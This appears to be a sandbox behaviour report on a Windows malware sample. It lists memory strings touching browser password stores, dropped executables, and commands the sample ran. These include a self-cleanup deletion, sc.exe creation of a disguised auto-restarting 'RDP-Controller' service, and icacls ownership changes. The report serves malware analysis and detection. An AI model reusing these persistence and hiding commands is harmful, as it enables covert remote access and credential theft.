Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.2361745626.000000001B560000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373150785.000000001B560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\BFCAAEHJDB.exe "C:\ProgramData\BFCAAEHJDB.exe"
Source: unknown	Process created: C:\ProgramData\BFCAAEHJDB.exe C:\ProgramData\BFCAAEHJDB.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DAEGIDHDHIDG" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 3212
Source: C:\ProgramData\BFCAAEHJDB.exe	Process created: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ZsL2hKzmRChz.acl
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 1524 -ip 1524
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1524 -s 1176
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\BFCAAEHJDB.exe "C:\ProgramData\BFCAAEHJDB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DAEGIDHDHIDG" & exit	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Process created: C:\ProgramData\BFCAAEHJDB.exe C:\ProgramData\BFCAAEHJDB.exe	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Process created: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 3212	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 1524 -ip 1524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1524 -s 1176	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ZsL2hKzmRChz.acl	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: ntmarta.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

File written: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: softokn3.pdb@ source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: file.exe, 00000000.00000002.2781145830.000000003B860000.00000004.00000020.00020000.00000000.sdmp
